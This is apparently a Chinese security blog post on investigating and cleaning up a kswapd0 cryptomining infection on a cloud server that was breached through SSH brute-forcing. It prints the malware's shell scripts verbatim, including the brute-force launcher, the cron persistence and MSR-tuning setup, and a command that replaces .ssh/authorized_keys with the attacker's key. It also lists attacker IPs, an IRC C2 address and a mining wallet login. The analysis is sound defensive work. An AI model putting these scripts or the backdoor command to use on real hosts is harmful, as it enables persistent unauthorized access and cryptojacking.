从2024五一假期的第一天开始,阿里云一直给我发短信,一会儿封禁我的端口,一会儿解封我的端口。
阿里云短信
在5.1 13:17分发送短信,“您有服务器因攻击被限制访问部分IP及端口”。后续几乎每天下午13:20到14:30左右都会给我发类似的消息。
服务器上也没有什么重要资产,懒得看。今天(5.16)正好要用服务器搭个环境,顺便上来看了一下。云服务器告警如下
云服务器告警文件md5(IOC)
8da798989b6e48fb211674b652119a8c
一眼看过去就是kswapd0挖矿木马。挖矿木马的命名讲一下也很有意思。
kswapd0本身是Linux系统中一个合法的进程,负责虚拟内存管理。在系统不足时将不常用的页面从物理内存交换到swap space。网络攻击想要持久化,一般需要做隐匿攻击。例如搭建代理、替换windows系统中原有白名单中的dll为攻击者的恶意dll等。这里攻击者就是选取了一个Linux中的合法进程来命名挖矿程序的名字。除了这种模拟进程的,还有模仿应用程序名字的,当然也有随机的。
这种模拟进程的木马,一种针对性的检查思路是用ls -l /proc/[PID]/exe
来检测可执行文件路径。合法的内核进程通常没有独立的可执行文件路径,如果得到的路径位于用户空间而不是内核空间,那么进程可能就是伪装的。
除了知道挖矿名字对应的进程名,直接查找进程的方式。还可以用top
命令查看一下进程,CPU占用率高的可能就是。和阿里云告警的进程ID7698
吻合
列出7698进程下的目录内容,文件位于/root/.configrc5/a/kswapd0
ls -li
命令包含Inode 编号(文件系统中文件的唯一标示符)、文件权限、链接数、所有者、组、大小、修改时间、文件名。可以看到进程7698指向了kswapd0
文件。一般防止文件被删,持久化会把这种文件生成的过程写入到计划任务中。
查看计划任务。crontab -l
。如下。确实被写入了定时计划。也可以通过/var/spool/cron/root
查看。这俩都可以查看定时任务,但也有点区别,前者查看的是当前用户的定时任务,后者查看的root用户。这里自己的服务器是用root登录的,所以没区别。处置时可以通过crontab -e
编辑计划任务。处置时把攻击者写的这个计划任务删掉。
根据计划任务中的这几个路径,去排查文件夹。主要就是俩路径。一个/root/.configrc5
,一个/tmp/.X291-unix/.rsync
。以.
的文件或目录是隐藏文件/隐藏目录。所以ls
命令执行时看不到这些文件,需要用ls -a
或ls -la
命令。这些隐藏文件常用于存储用户配置。如.bashrc
、.config
、.ssh
先看一下/tmp/.X291-unix/.rsync/c
,包含如下文件
aptitude
文件于5.1号创建,文件内容就是执行该目录下的run
文件
有意思的是,写到这,由于文章没写完,正好5.17下午两点多打开文章继续写,没错正是每天阿里云发短信提示封禁端口时间。然后就在/tmp/.X291-unix/.rsync/c
目录下可以看到几个临时的,分别名为a,b,c,d,ip,p,v
的文件,大致的内容如下
查看blitz
文件,由于是二进制文件用lastb -f blitz
进行分析,然后去/var/log
查找btmp-2024
开头的文件,就可以用cat
命令查看大概的内容了。看起来是ip地址和ssh用户名。
查看go
文件中一个关键内容是执行./blitz -t $threads -f 1 -s 12 -S 8 -p 0 -d 1 p ip
,另外执行完命令后删除a,b,p,ip
这些文件
查看run
脚本,内容如下。nohup
命令的主要作用就是在关闭终端之后还可以继续运行命令,在后台执行。run脚本主要是确定CPU的型号和核数,然后调用go脚本。
#!/bin/bash
PR=1
PR=$(cat /proc/cpuinfo | grep model | grep name | wc -l)
ARCH=`uname -m`
if [ "$ARCH" == "x86_64" ]; then
if [ $PR -lt 7 ]; then
sleep 15
./stop
sleep 3
RANGE=240
s=$RANDOM
let "s %= $RANGE"
sleep $s
nohup ./go >>/dev/null &
fi
if [ $PR -gt 7 ]; then
sleep 3
#nohup ./golan >>/dev/null &
fi
else
nohup ./go >>/dev/null &
fi
这里总结一下/tmp/.X291-unix/.rsync/c
目录,主要功能就是识别主机的CPU,用这台被控主机去爆破别的机器的ssh。
再看一下/root/.configrc5
路径。
cron.d
的内容就是写入计划任务的内容。dir2.dir
的文件内容只是一条路径/root/.configrc5
先看一下a目录下的一些文件。其中upd文件被写到了定时计划中。该文件从bash.pid
中读取进程ID,然后向该PID发送SIGCHLD
信号,如果发送成功说明进程存在,脚本就结束。否则就执行run
脚本
run
脚本读取当前目录,保存在dir.dir
中,nohup
命令后台运行./kswapd0
程序,并将该进程ID保存在bash.pid
再来看一下a文件
#!/bin/sh
crontab -r
pwd > dir.dir
dir=$(cat dir.dir)
#connok=$(ping -c 1 45.9.148.228 | echo $?)
#./init0
#sleep 5
echo "#!/bin/sh
cd $dir
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
./run &>/dev/null" > upd
optimize_func() {
MSR_FILE=/sys/module/msr/parameters/allow_writes
if test -e "$MSR_FILE"; then
echo on > $MSR_FILE
else
modprobe msr allow_writes=on
fi
if grep -E 'AMD Ryzen|AMD EPYC' /proc/cpuinfo > /dev/null;
then
if grep "cpu family[[:space:]]\{1,\}:[[:space:]]25" /proc/cpuinfo > /dev/null;
then
if grep "model[[:space:]]\{1,\}:[[:space:]]97" /proc/cpuinfo > /dev/null;
then
echo "Detected Zen4 CPU"
wrmsr -a 0xc0011020 0x4400000000000
wrmsr -a 0xc0011021 0x4000000000040
wrmsr -a 0xc0011022 0x8680000401570000
wrmsr -a 0xc001102b 0x2040cc10
echo "MSR register values for Zen4 applied"
else
echo "Detected Zen3 CPU"
wrmsr -a 0xc0011020 0x4480000000000
wrmsr -a 0xc0011021 0x1c000200000040
wrmsr -a 0xc0011022 0xc000000401500000
wrmsr -a 0xc001102b 0x2000cc14
echo "MSR register values for Zen3 applied"
fi
else
echo "Detected Zen1/Zen2 CPU"
wrmsr -a 0xc0011020 0
wrmsr -a 0xc0011021 0x40
wrmsr -a 0xc0011022 0x1510000
wrmsr -a 0xc001102b 0x2000cc16
echo "MSR register values for Zen1/Zen2 applied"
fi
elif grep "Intel" /proc/cpuinfo > /dev/null;
then
echo "Detected Intel CPU"
wrmsr -a 0x1a4 0xf
echo "MSR register values for Intel applied"
else
echo "No supported CPU detected"
fi
sysctl -w vm.nr_hugepages=$(nproc)
for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d);
do
echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages";
done
echo "1GB pages successfully enabled"
}
if [ $(id -u) = 0 ]; then
echo "Running as root"
optimize_func
else
echo "Not running as root"
sysctl -w vm.nr_hugepages=$(nproc)
fi
chmod u+x upd
chmod 777 *
./upd
删除当前用户的定时任务,记录当前的工作路径,生成upd脚本,检测CPU特定的MSR(Model-Specific Register)配置,配置Huge Pages。运行创建的upd脚本
init0
文件很长,不粘在文章中了,主要是在Linux环境下查杀加密货币矿工进程和相关文件,防止存在其他恶意软件竞争资源。很多时候我们应该向黑产学习它们的技术,就比如init0文件中对于其他恶意软件的查杀流程。
(1) 查杀特定的进程
查杀特定的进程(2) 根据已知的IOC删除挖矿相关文件
根据已知的IOC删除挖矿相关文件(3) 根据已知IOC查杀网络连接
根据已知IOC查杀网络连接看完了/root/.configrc5下
的a
文件夹,再来看一下b
文件夹
同样是记录当前目录,然后执行run脚本。但这个run脚本和a目录的不同,它主要是包含两种功能代码,一种是base64编码写入perl文件。另一种是写入SSH公钥配置cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa xxx ">>.ssh/authorized_keys
。这样如果溯源时没有清除.ssh
中攻击者的公钥,即使日后改了服务器密码,攻击者还可以通过ssh登陆。base64的perl文件,解码内容太长,就不粘在文章中了,它实现了一个IPC(Internet Relay Chat)机器人,连接到IRC服务器并响应特定命令。IPC服务器地址
185.165.169.188:443
,对应进程rsync
,可以实现自动化任务,如端口扫描、DOS攻击等。
总结一下上面分析的攻击者的这些恶意文件,计划任务的执行顺序是/root/.configrc5/a
文件夹、/root/.configrc5/b
文件夹、/tmp/.X291-unix/.rsync/c
文件夹。分别的功能是:(1)查杀其他加密货币矿工进程,开启7686进程,执行挖矿脚本kswapd0
。(2)通过base64编码将远控木马写入perl文件,对应进程rsync,远程服务器可以向此主机传递命令 (3)用这台主机去爆破别的机器的ssh
分析完攻击者干了什么。那么就回到最核心的问题了。攻击者怎么拿下我的服务器的?
排查一下是否有新增的用户,cat /etc/passwd
发现没有新创建的用户,lastlog
查最近的登录记录,也只有root用户的登录信息。那么攻击者大概率就是用root用户进来的。然后用last root
查一下最近登陆的记录。
查看近期的登录日志cat /var/log/secure*
。发现有很多ssh尝试登录的host
101.132.42.220
121.41.118.68
47.102.147.59
39.98.72.169
182.92.176.48
8.210.45.79
121.196.208.112
149.129.67.202
139.224.200.60
47.113.229.124
195.170.172.225
183.131.186.39
8.219.12.194
119.96.222.98
39.105.140.160
218.60.50.126
139.224.60.82
8.218.89.123
查找登录成功的ssh。cat /var/log/secure* | grep Accepted
。发现一个恶意IP登陆成功,可以确认通过暴力破解ssh,登陆了主机。从5.1中午12:14开始爆破,每分钟爆破一次。四十分钟爆破成功。
May 1 12:51:08 xxx sshd[10320]: Accepted password for root from 8.218.89.123 port 33578 ssh2
查看一下日志cat /root/.bash_history
,相关的操作记录已经被清除了(毕竟root进来的)。经过筛查,/root/.ssh/authorized_keys
在5.12号被更改
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr
这个ssh-rsa通过bash写入
sh -c cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
执行netstat -tunlap
可以看到攻击者控制我的服务器向公共矿池45.9.150.161
发起请求。在微步查询179.43.139.83
、185.165.169.188
、45.9.148.174
、179.43.139.84
、117.133.11.153
等均为恶意IP。
在网络行为中存在Stratum流量
{\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"login\",\"params\":{\"login\":\"483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS\",\"pass\":\"x\",\"agent\":\"XMRig/6.19.0 (Linux x8
这个协议可以在xmrig代理中找到
https://github.com/xmrig/xmrig-proxy/blob/master/doc/STRATUM.md
用到的可能是https://github.com/xmrig/xmrig-proxy/ 代理Stratum协议的xmrig
sh -c chattr -ia ~/.xmrig.json;lockr -ia ~/.xmrig.json; rm -rf ~/.xmrig.json; chattr -ia ~/.config/xmrig.json; lockr -ia ~/.config/xmrig.json; rm -rf ~/.config/xmrig.json
xmirg是一款比特币挖矿软件,可以通过匹配到的矿池内容修改相应的config.json
文件。使用方法看kswapd0
文件自身的help就知道了
最后就是进行上述文件、进程、计划任务的清理工作。给新人应急的一些建议,既然服务器已经被入侵,就不要着急去清理已有的文件、进程等。先把整个攻击手法摸清,再去处理。另外,可以把恶意文件作备份,学习一下人家的手法。
清理清单
kill -9 rsync和kswapd0和blitz64的进程
rm -rf /tmp/.X291-unix/
rm -rf /root/.configrc5/*
rm -rf /root/.ssh/authorized_keys
vim /var/spool/cron/root
网友评论